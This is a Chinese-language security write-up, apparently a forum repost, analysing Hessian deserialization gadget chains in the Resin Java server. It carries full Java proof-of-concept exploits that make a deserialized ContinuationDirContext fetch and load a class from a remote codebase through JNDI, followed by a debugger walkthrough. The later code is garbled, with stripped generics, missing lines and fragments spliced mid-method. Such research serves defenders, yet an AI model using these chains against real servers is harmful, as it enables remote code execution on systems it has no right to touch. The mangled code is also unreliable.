Resin反序列化链分析
前言Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开辟的,旨在提供可靠的Web应用步伐和服务的运行环境。和Tomcat一样是个服务器,它和hessian在一个group里,所以有肯定的接洽
<dependencies>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.64</version>
</dependency>
</dependencies>ContinuationDirContext+Fastjson使用链
攻击测试
因为是JDNI,所以照旧得注意下jdk版本,这里用jdk8u65
package org.example;
import com.alibaba.fastjson.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.reflect.ReflectionFactory;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class resinPoc {
public static void main(String[] args) throws Exception {
//URLCLASSLOADER RCE
Reference refObj=new Reference("evilref","evilref","http://127.0.0.1:8000/");
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(refObj);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
// jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
JSONObject jsonObject = new JSONObject();
jsonObject.put("f12",ctx);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jsonObject);
out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
//String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
//System.out.println(ret);
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class, new Object);
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}流程分析
之前研究过Hessian反序列化,没想到它会触发反序列化对象的toString方法,经过调试,在过完最后谁人map.put(in.readObject(),in.readObject())后,obj就是要反序列化的对象,这里有个字符拼接,所以触发了obj.toString()
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423194033122-1215165052.png#id=pXP2N&originHeight=277&originWidth=1346&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
这里简单提一下,接下来看正式的流程,既然这里触发了JSONObject的toString方法,阐明就能恣意调用getter了,我们给JSONObject传入的对象是ContinuationDirContext,这里直接给出调用的getter方法,
ContinuationContext是ContinuationDirContext的父类
ContinuationContext#getTargetContext()
我们在这个getter方法上打个断点
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423194828989-647550896.png#id=PdRpy&originHeight=581&originWidth=1347&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
进入NamingManager.getContext,这内里的cpe是我们恶意构造的
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423195027349-958344607.png#id=OV8Jb&originHeight=706&originWidth=1674&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423195047858-1454458663.png#id=GBL1E&originHeight=197&originWidth=1000&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
跟进getObjectInstance方法
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423195138809-767142763.png#id=hJU6M&originHeight=427&originWidth=1356&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
这个引用一个对象工厂
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423195228437-581638601.png#id=x8IV5&originHeight=735&originWidth=1470&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
进入内里会举行类加载
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423195303785-1129675795.png#id=R7CHR&originHeight=583&originWidth=1594&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
最终是通过URLClassLoader举行类加载的
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423195511286-1214398743.png#id=Rtchh&originHeight=404&originWidth=1596&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
toString+Qname使用链
toString的触发方式有很多,这里接纳HashMap+XString来触发
package org.example;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.naming.QName;import com.sun.org.apache.xpath.internal.objects.XString;import sun.reflect.ReflectionFactory;import com.alibaba.fastjson.JSONObject;import javax.naming.CannotProceedException;import javax.naming.Reference;import javax.naming.directory.DirContext;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.Base64;import java.util.HashMap;import java.util.Hashtable;public class XstringChain { public static void main(String[] args) throws Exception { Reference refObj=new Reference("evilref","evilref","http://localhost:8000/"); Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); ccCons.setAccessible(true); CannotProceedException cpe = new CannotProceedException(); cpe.setResolvedObj(refObj); DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable()); QName qName = new QName(ctx, "boo", "gii"); String unhash = unhash(qName.hashCode()); XString xString = new XString(unhash); HashMap map = makeMap(qName, xString); ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(baos); out.getSerializerFactory().setAllowNonSerializable(true); out.writeObject(map); out.flushBuffer(); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); Hessian2Input input = new Hessian2Input(bais); input.readObject(); //String ret = Base64.getEncoder().encodeToString(baos.toByteArray()); //System.out.println(ret); } public static HashMap makeMap ( Object v1, Object v2 ) throws Exception { HashMap s = new HashMap(); setFieldValue(s, "size", 2); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl); return s; } public staticT createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class, new Object); } public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod"); //writeReplaceMethod.setAccessible(true); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } public staticT createWithConstructor(Class classToInstantiate, Class[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T) sc.newInstance(consArgs); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static String unhash ( int hash ) { int target = hash; StringBuilder answer = new StringBuilder(); if ( target < 0 ) { // String with hash of Integer.MIN_VALUE, 0x80000000 answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); if ( target == Integer.MIN_VALUE ) return answer.toString(); // Find target without sign bit set target = target & Integer.MAX_VALUE; } unhash0(answer, target); return answer.toString(); } private static void unhash0 ( StringBuilder partial, int target ) { int div = target / 31; int rem = target % 31; if ( divccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); ccCons.setAccessible(true); CannotProceedException cpe = new CannotProceedException(); cpe.setResolvedObj(resourceRef); DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl); return s; } public static [] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T) sc.newInstance(consArgs); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static String unhash ( int hash ) { int target = hash; StringBuilder answer = new StringBuilder(); if ( target < 0 ) { // String with hash of Integer.MIN_VALUE, 0x80000000 answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); if ( target == Integer.MIN_VALUE ) return answer.toString(); // Find target without sign bit set target = target & Integer.MAX_VALUE; } unhash0(answer, target); return answer.toString(); } private static void unhash0 ( StringBuilder partial, int target ) { int div = target / 31; int rem = target % 31; if ( div
页:
[1]